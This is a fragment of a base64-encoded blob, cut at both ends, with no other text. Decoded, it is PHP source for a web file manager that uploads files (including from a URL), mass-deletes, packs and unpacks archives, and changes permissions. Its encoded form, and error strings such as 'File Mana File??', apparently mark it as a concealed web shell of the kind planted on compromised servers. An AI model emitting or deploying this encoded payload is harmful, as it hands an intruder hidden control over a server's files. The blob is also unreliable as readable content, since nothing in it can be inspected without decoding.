gICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCINCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KCkNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pOw0KICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpOw0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7DQoNCiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIg0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZhaWxlZCB0byBvcGVuIG91dHB1dCBzdHJlYW0iDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmICgkY2h1bmtJbmRleCA9PSAkY2h1bmtUb3RhbCAtIDEpIHsNCiAgICAgICAgICAgICAgICAgICAgcmVuYW1lKCJ7JGZ1bGxQYXRofS5wYXJ0IiwgJGZ1bGxQYXRoKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0gZWxzZSBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGZ1bGxQYXRoKSkgew0KICAgICAgICAgICAgICAgIC8vIEJlIHN1cmUgdGhhdCB0aGUgZmlsZSBoYXMgYmVlbiB1cGxvYWRlZA0KICAgICAgICAgICAgICAgIGlmICggZmlsZV9leGlzdHMoJGZ1bGxQYXRoKSApIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIg0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXCd0IHVwbG9hZCB0aGUgcmVxdWVzdGVkIGZpbGUuJw0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLA0KICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiAiRXJyb3Igd2hpbGUgdXBsb2FkaW5nIGZpbGVzLiBVcGxvYWRlZCBmaWxlcyAkdXBsb2FkcyIsDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsDQogICAgICAgICAgICAnaW5mbycgICA9PiAnVGhlIHNwZWNpZmllZCBmb2xkZXIgZm9yIHVwbG9hZCBpc25cJ3Qgd3JpdGVhYmxlLicNCiAgICAgICAgKTsNCiAgICB9DQogICAgLy8gUmV0dXJuIHRoZSByZXNwb25zZQ0KICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsNCiAgICBleGl0KCk7DQp9DQoNCi8vIE1hc3MgZGVsZXRpbmcNCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsnZGVsZXRlJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7DQoNCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygiSW52YWxpZCBUb2tlbi4iKSwgJ2Vycm9yJyk7DQogICAgfQ0KDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQoNCiAgICAkZXJyb3JzID0gMDsNCiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsNCiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7DQogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgew0KICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7DQogICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnLycgLiAkZjsNCiAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJG5ld19wYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICgkZXJyb3JzID09IDApIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnKSwgJ2Vycm9yJyk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsNCiAgICB9DQoNCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIFBhY2sgZmlsZXMgemlwLCB0YXINCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgKGlzc2V0KCRfUE9TVFsnemlwJ10pIHx8IGlzc2V0KCRfUE9TVFsndGFyJ10pKSAmJiAhRk1fUkVBRE9OTFkpIHsNCg0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsNCiAgICB9DQoNCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICAkZXh0ID0gJ3ppcCc7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQoNCiAgICAvL3NldCBwYWNrIHR5cGUNCiAgICAkZXh0ID0gaXNzZXQoJF9QT1NUWyd0YXInXSkgPyAndGFyJyA6ICd6aXAnOw0KDQogICAgaWYgKCgkZXh0ID09ICJ6aXAiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gInRhciIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddOw0KICAgIGlmICghZW1wdHkoJGZpbGVzKSkgew0KICAgICAgICBjaGRpcigkcGF0aCk7DQoNCiAgICAgICAgaWYgKGNvdW50KCRmaWxlcykgPT0gMSkgew0KICAgICAgICAgICAgJG9uZV9maWxlID0gcmVzZXQoJGZpbGVzKTsNCiAgICAgICAgICAgICRvbmVfZmlsZSA9IGJhc2VuYW1lKCRvbmVfZmlsZSk7DQogICAgICAgICAgICAkemlwbmFtZSA9ICRvbmVfZmlsZSAuICdfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJy4kZXh0Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHppcG5hbWUgPSAnYXJjaGl2ZV8nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZigkZXh0ID09ICd6aXAnKSB7DQogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOw0KICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICR0YXIgPSBuZXcgRk1fWmlwcGVyX1RhcigpOw0KICAgICAgICAgICAgJHJlcyA9ICR0YXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkcmVzKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdBcmNoaXZlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsNCiAgICB9DQoNCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIFVucGFjayB6aXAsIHRhcg0KaWYgKGlzc2V0KCRfUE9TVFsndW56aXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsNCg0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsNCiAgICB9DQoNCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsNCiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7DQogICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJHVuemlwKTsNCiAgICAkaXNWYWxpZCA9IGZhbHNlOw0KDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQoNCiAgICBpZiAoJHVuemlwICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkdW56aXApKSB7DQogICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJHVuemlwOw0KICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOw0KICAgICAgICAkaXNWYWxpZCA9IHRydWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgTWFuYSBGaWxlPz8nKSwgJ2Vycm9yJyk7DQogICAgfQ0KDQogICAgaWYgKCgkZXh0ID09ICJ6aXAiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gInRhciIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgIGlmICgkaXNWYWxpZCkgew0KICAgICAgICAvL3RvIGZvbGRlcg0KICAgICAgICAkdG9mb2xkZXIgPSAnJzsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndG9mb2xkZXInXSkpIHsNCiAgICAgICAgICAgICR0b2ZvbGRlciA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpOw0KICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJHRvZm9sZGVyLCB0cnVlKSkgew0KICAgICAgICAgICAgICAgICRwYXRoIC49ICcvJyAuICR0b2ZvbGRlcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCRleHQgPT0gInppcCIpIHsNCiAgICAgICAgICAgICR6aXBwZXIgPSBuZXcgRk1fWmlwcGVyKCk7DQogICAgICAgICAgICAkcmVzID0gJHppcHBlci0+dW56aXAoJHppcF9wYXRoLCAkcGF0aCk7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0YXIiKSB7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7DQogICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLG51bGwsIHRydWUpKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXMgPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRyZXMgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgICAgICAgICAvL1RPRE86OiBuZWVkIHRvIGhhbmRsZSB0aGUgZXJyb3INCiAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkcmVzKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSB1bnBhY2tlZCcpKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdBcmNoaXZlIG5vdCB1bnBhY2tlZCcpLCAnZXJyb3InKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIE1hbmEgRmlsZT8/JyksICdlcnJvcicpOw0KICAgIH0NCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIENoYW5nZSBQZXJtcyAobm90IGZvciBXaW5kb3dzKQ0KaWYgKGlzc2V0KCRfUE9TVFsnY2htb2QnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgew0KDQogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoIkludmFsaWQgVG9rZW4uIiksICdlcnJvcicpOw0KICAgIH0NCiAgICANCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCg0KICAgICRmaWxlID0gJF9QT1NUWydjaG1vZCddOw0KICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7DQogICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7DQogICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSAmJiAhaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBNYW5hIEZpbGU/PycpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgICRtb2RlID0gMDsNCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDQwMDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAyMDA7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWyd1eCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMTAwOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDA0MDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAwMjA7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMDEwOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDAwNDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAwMDI7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMDAxOw0KICAgIH0NCg0KICAgIGlmIChAY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJG1vZGUpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTsNCiAgICB9DQoNCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogQUNUSU9OUyAqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCi8vIGdldCBjdXJyZW50IHBhdGgNCiRwYXRoID0gRk1fUk9PVF9QQVRIOw0KaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KfQ0KDQovLyBjaGVjayBwYXRoDQppZiAoIWlzX2RpcigkcGF0aCkpIHsNCiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsNCn0NCg0KLy8gZ2V0IHBhcmVudCBmb2xkZXINCiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7DQoNCiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpOw0KJGZvbGRlcnMgPSBhcnJheSgpOw0KJGZpbGVzID0gYXJyYXkoKTsNCiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKCIvIiwkcGF0aCksIC0xKVswXTsNCmlmIChpc19hcnJheSgkb2JqZWN0cykgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkY3VycmVudF9wYXRoKSkgew0KICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7DQogICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgew0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7DQogICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlOw0KICAgICAgICB9IGVsc2VpZiAoQGlzX2RpcigkbmV3X3BhdGgpICYmICRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpKSB7DQogICAgICAgICAgICAkZm9sZGVyc1tdID0gJGZpbGU7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCmlmICghZW1wdHkoJGZpbGVzKSkgew0KICAgIG5hdGNhc2Vzb3J0KCRmaWxlcyk7DQp9DQppZiAoIWVtcHR5KCRmb2xkZXJzKSkgew0KICAgIG5hdGNhc2Vzb3J0KCRmb2xkZXJzKTsNCn0NCg0KLy8gdXBsb2FkIGZvcm0NCmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUg0KICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aA0KICAgIC8vZ2V0IHRoZSBhbGxvd2VkIGZpbGUgZXh0ZW5zaW9ucw0KICAgIGZ1bmN0aW9uIGdldFVwbG9hZEV4dCgpIHsNCiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTsNCiAgICAgICAgaWYoRk1fVVBMT0FEX0VYVEVOU0lPTiAmJiAkZXh0QXJyKSB7DQogICAgICAgICAgICBhcnJheV93YWxrKCRleHRBcnIsIGZ1bmN0aW9uKCYkeCkgeyR4ID0gIi4keCI7fSk7DQogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAnJzsNCiAgICB9DQogICAgPz4NCiAgICA8bGluayBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9kcm9wem9uZS81LjkuMy9taW4vZHJvcHpvbmUubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4NCiAgICA8ZGl2IGNsYXNzPSJwYXRoIj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTIgZm0tdXBsb2FkLXdyYXBwZXIgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2IG5hdi10YWJzIGNhcmQtaGVhZGVyLXRhYnMiPg0KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiNmaWxlVXBsb2FkZXIiIGRhdGEtdGFyZ2V0PSIjZmlsZVVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXAiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VwbG9hZGluZ0ZpbGVzJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjdXJsVXBsb2FkZXIiIGNsYXNzPSJqcy11cmwtdXBsb2FkIiBkYXRhLXRhcmdldD0iI3VybFVwbG9hZGVyIj48aSBjbGFzcz0iZmEgZmEtbGluayI+PC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkIGZyb20gVVJMJykgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY2FyZC10ZXh0Ij4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3A9PD9waHAgZWNobyBGTV9QQVRIID8+IiBjbGFzcz0iZmxvYXQtcmlnaHQiPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKT8+PC9hPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEZXN0aW5hdGlvbkZvbGRlcicpID8+PC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9QQVRIKSkgPz4NCiAgICAgICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhGTV9TRUxGX1VSTCkgLiAnP3A9JyAuIGZtX2VuYyhGTV9QQVRIKSA/PiIgY2xhc3M9ImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXIiIGlkPSJmaWxlVXBsb2FkZXIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmdWxscGF0aCIgaWQ9ImZ1bGxwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZhbGxiYWNrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJmaWxlIiB0eXBlPSJmaWxlIiBtdWx0aXBsZS8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InVwbG9hZC11cmwtd3JhcHBlciBjYXJkLXRhYnMtY29udGFpbmVyIGhpZGRlbiIgaWQ9InVybFVwbG9hZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gaWQ9ImpzLWZvcm0tdXJsLXVwbG9hZCIgY2xhc3M9InJvdyByb3ctY29scy1sZy1hdXRvIGctMyBhbGlnbi1pdGVtcy1jZW50ZXIiIG9uc3VibWl